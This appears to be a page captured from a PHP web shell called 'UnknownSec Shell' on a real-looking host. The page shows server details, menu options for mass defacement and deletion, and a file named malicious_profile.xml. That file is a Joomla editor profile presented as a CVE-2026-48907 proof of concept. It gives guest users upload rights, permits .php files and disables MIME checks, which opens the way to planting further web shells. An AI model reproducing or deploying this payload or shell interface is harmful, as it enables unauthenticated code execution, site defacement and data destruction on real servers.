tacaruna.espacofacial.com.br

info server

Uname: Linux dedi-15171674.espacofacial.com.br 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
Software: Apache
PHP version: 8.2.33 [ PHP INFO ] PHP os: Linux
Server Ip: 104.21.5.151
Your Ip: 216.73.216.57
User: espa7358 (1004) | Group: espa7358 (1003)
Safe Mode: OFF
Disable Function:

NONE

upload mass deface mass delete console

name : malicious_profile.xml

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<export type="profiles">
	<profiles>
		<profile>
			<name>cve476b49b0</name>
			<description>CVE-2026-48907 PoC Profile - Lab Use Only</description>
			<users></users>
			<!-- Joomla Public/Guest user group (ID 1) -->
			<types>1,8</types>
			<components></components>
			<area>0</area>
			<device>desktop,tablet,phone</device>
			<rows>imgmanager,browser</rows>
			<plugins>imgmanager,browser,upload</plugins>
			<published>1</published>
			<ordering>-99999</ordering>
			<params><![CDATA[{"editor":{"toolbar_theme":"modern"},"imgmanager":{"dir":"images","max_size":"102400","extensions":"jpeg,jpg,png,gif,webp,php","filesystem":"","upload":"1","folder_rename":"1","file_rename":"1","folder_delete":"1","file_delete":"1","inline_upload":"1"},"browser":{"dir":"images","max_size":"102400","extensions":"jpeg,jpg,png,gif,webp,php,txt","filetypes":"images=jpg,jpeg,png,gif;files=php,txt,gif","validate_mimetype":"0","upload":"1","folder_rename":"1","file_rename":"1","inline_upload":"1"}}]]></params>
		</profile>
	</profiles>
</export>

UnknownSec Shell